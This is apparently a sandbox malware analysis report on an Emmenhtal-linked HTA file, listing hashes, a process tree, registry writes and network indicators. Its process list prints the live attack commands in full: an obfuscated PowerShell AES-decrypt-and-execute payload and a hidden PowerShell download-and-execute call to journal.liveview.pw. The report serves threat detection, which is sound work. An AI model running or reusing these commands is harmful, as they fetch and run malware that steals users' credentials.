| File name: | lolbin.txt.hta |
| Full analysis: | https://app.any.run/tasks/05ad196f-99c0-4ed5-96b6-8c3e9b90643c |
| Verdict: | Malicious activity |
| Threats: | First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments. |
| Analysis date: | December 24, 2024, 03:36:22 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
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| Indicators: | |
| MIME: | application/octet-stream |
| File info: | data |
| MD5: | 543530C3B4038086637ACCF9D95397D6 |
| SHA1: | 617115DDA0F8553D7DD5CEE8D0DC2DDEC461C59C |
| SHA256: | D070FAD55BE0D3269DBEBB1DE70652D82D48F0AD849F960D27D3E71018EB208C |
| SSDEEP: | 24576:Vu9BHfQ/QFQ+QDQaQjYHJQxQNQvBHbBHvQa5iBHv/6BHwQd7dQBQYxTzSQzNJBHs:0BH3YHuBHbBHgBHKBH4BHSBH/BHSBHmj |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 2132 | "C:\WINDOWS\system32\taskmgr.exe" /7 | C:\Windows\System32\Taskmgr.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Manager Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
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| 2192 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 3092 | "C:\Windows\SysWOW64\mshta.exe" C:\Users\admin\AppData\Local\Temp\lolbin.txt.hta {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} | C:\Windows\SysWOW64\mshta.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
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| 6228 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function cDnCn($pBla){return -split ($pBla -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$Lhmk = cDnCn('A3AA4480FF655084E70ADC84D9EA6341178CCA80AF8469B12931F471AF827F36734F649E4FFC481465F7A8A2BFA75783C467F30497BC4B11E481C2530797B14FC2F5B368B22016A880E652482E6475CF0DC1A66EA8F0136B2BBC629A30CEB860956FD49362AEC1529369252FC290E7464876570EB817D8E9B180D541376938391A342371D8EEE7C40B429917ED3BAE7546609A8390B670A9097CB2F4371F68C266424FC610C85C530E515400B772D500AE542F889F9A970F0C0884F9DAB2F28BCD379149C803B7F17EEC6C69E622BA1F8B13247111CF1CCB79B4798B7DFB6AEC68A8F963D9FE6AC1AF1987A9FB2A16B0F82B9BA594307ADEEA757F6284F08DDB1A3BFA98B3BEA493C2C605A6EBF27BFDF963BEF1C0F74C61BB82B80E6A9B2F61E44AC18908A15AC5CA52E0D0B5E7ECA5C629F9CE088140C02670105B1C1EB4C39C449DED3A8E098E14832E1159B7BFE7F74012F5AB28A812BD11B0830216EC8E5F537AD27755CAD7EFBDAEB4C5E6235233729039ACA656A57FB2D8AFEF2960E070779A4CF1BD35291B7033D4618B7FBEC36B04BDD9CC6D825285FE8E9B14F783B7F3071ABE49F6BE8DFE02D7E8B0A4E5FEAD8570B4049362BC3FF9599BEF08430DEA16A596C8E8AA8FEBE25A7D3AEF1A0F1D2A47644C59B18A95C4E955B6A747C547978A1471BD6004B1ECD6443ABC8058ED921C2A97C1449AE376C36FB9DA81ED841F3F4437F69417CEF04ACD68C114464AA5755262E3E2A8804F5D1F018C94308E1802E6C59864386DF18AC9D197902C482A57D3531FCB49886B15046AF78768F80014DE486E0E78D49561586C41C0E653A2A6BB84F1D7467BB73BF1E6FF73E92540FCC809AA398E26B9A708706094D4A5382850472779AD17B69C066B29CAAE8B04F605E50CC29E8480DD31E8DB08E7717139D5A19EE210804AD16CA1445A2EAC4D7C66209914C86431F3B5174ECE947BEBD88F70D5299D63C267D52D0EA77D645EBCDD39A110138C082CD3C09CA8AA75E9A53A689D0576C332EE23948AE9ECCCE522DACC38B3581F9C71CFC27C56F81F9CB5C9D938E2A35C15A5E7CE4C1DB70B003BF969AB7131336F933529CEA80A9FACB8C911FDA0C526986D4E8FB5FDDDA4C0DF5762BE3783933E8E0AB3D712CD3B563309BDB03A5460E12D1C34126A4F89191E1C34197F7EB35212BAA7E9D32890ED00618DFED16C97F2F709899CAEA84C4AA2A7B5371A5FACA3D115E12BE56D873196999184299302AD235C87C226989D2CBEBA4D82E6C270F060D4165DE6962A5077677A4796A0FC82E05AAB1272F50397568327381A2D529A9466317AB38D192E338BDA14927384DF7CCBAFF9E8594748246285B3D8AA54C12D8C53351947654EA52F7B1A29724A48C14A1D4FCAD70EDC954B5D82A932AC8FF8A2DCB79D1C10C7458B14A40215396E306C046B7DD83B83B6EB6FFAE26FF38DE7E40F09DE9FDD00EC21F89B23814EBBD7E5B2A5AA1A2C0CC6814E4C15D127261B29720A28F854382CC18092685037C23B14ED11E90915036D385992F5D948F9775BB8B9C159C5C39C63E68221BF35A5518331151C4C0BACB7B58F5A8B9DF32BD1C3C4828D65896C8DC07B8002C812E8FED5F8FE86A6138586B9DC1F40F9A4E967D8E87CD674633563F6514E3557D8EFDE3A0247843CCA695357E876D6F77804DCB5599681DA62FAED5D52BA3AB823A2D2219C0783C18FBD3FC8897A07B5FEA483FF46AF5F23EB91E20E31A520B6566B846C91212DECBB9F2E6972ADCAB84A64D2DC6EBFA7B5758A915C3A978589C931CEFE5B8868B0256407FA6B78E518E0B7D7A8042BD51A46F9297518C6F4EB262D6525B016FB7D858136FCBF7AF2BC0D0488BEFD0CED9A5213FF3FF1B7B481CB6454CC9C929EDF1779EEFB9842B90ED62994AE6BD859C94C0821F219C5A77E00C97981C5B1F965E0977F82C3EC531C343E27EEC5C4191D27011B33568FE6B0ECE385FE81FF1047B4CA5F5C3136955E90288D0CF771D4EDB3C9D787D81A22FA1D19D50DBC83BC87F1DCA44B36AD85C9385793AFD75CBEBC74C6D267B19EA7B471F3AA348B616B1DBAA4A77832B7A57A91B94748F0F93B2D08F4BC95283A1D6EF07728C7091AF8F56E69DE9EA56CA801CD0A7E62F5CDFAE51540ACFCB025D5E940A9075C8DA17758CDC6A94DC6B6D01EB23E488BA9A1371F56D19500FE2B8FB10BA9B54801012917F04D36326F74A108C2D0B9AD4FB51DA2F8BA2777F37564F5B6B6E926E7121E3462FF03AAE5966558C3283C1548AC5074916DB8A685025AD4BB17E389AAE7C4C89FE3D49A5B7CBB890755B7CBC935D1185DE2AFF91099EC236AF765EB3039E9561D484E095F1874255D784C682A4B088C008559D9426482954EA469C7570756');$BIAG=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((cDnCn('4C50475A727A72534D6D4F70764E7061')),[byte[]]::new(16)).TransformFinalBlock($Lhmk,0,$Lhmk.Length)); & $BIAG.Substring(0,3) $BIAG.Substring(129) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6244 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6488 | "C:\WINDOWS\system32\taskmgr.exe" /7 | C:\Windows\System32\Taskmgr.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Manager Exit code: 3221226540 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
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| 7108 | "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://journal.liveview.pw/singl6.vsdx'))" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7116 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (7108) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7108 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:8B8A832FCE2174C8FEE26B70F2483FBB | SHA256:0FBA3A37EF443507F533A7C3F31C0B5826EA416B95FDE43479E02D4E0C29400B | |||
| 6228 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3shcnowj.10y.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2132 | Taskmgr.exe | C:\Users\admin\AppData\Local\D3DSCache\3534848bb9f4cb71\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock | text | |
MD5:F49655F856ACB8884CC0ACE29216F511 | SHA256:7852FCE59C67DDF1D6B8B997EAA1ADFAC004A9F3A91C37295DE9223674011FBA | |||
| 7108 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5em20ldd.cft.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6228 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ti1hyuiw.u1m.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6228 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:09EAEF207EB4CADB40BAE482E853CDBB | SHA256:1B2555A8844174D8AD8030C6B891FDCC78A6932113DD4DC04701F84D95841F27 | |||
| 7108 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rlvlzzqt.brw.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.16.164.49:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
5064 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4520 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
1480 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
4520 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 2.16.164.49:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
— | — | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5064 | SearchApp.exe | 2.19.120.29:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
1176 | svchost.exe | 40.126.32.72:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1176 | svchost.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
5064 | SearchApp.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
journal.liveview.pw |
| unknown |
arc.msn.com |
| unknown |
PID | Process | Class | Message |
|---|---|---|---|
2192 | svchost.exe | Potentially Bad Traffic | ET DNS Query to a *.pw domain - Likely Hostile |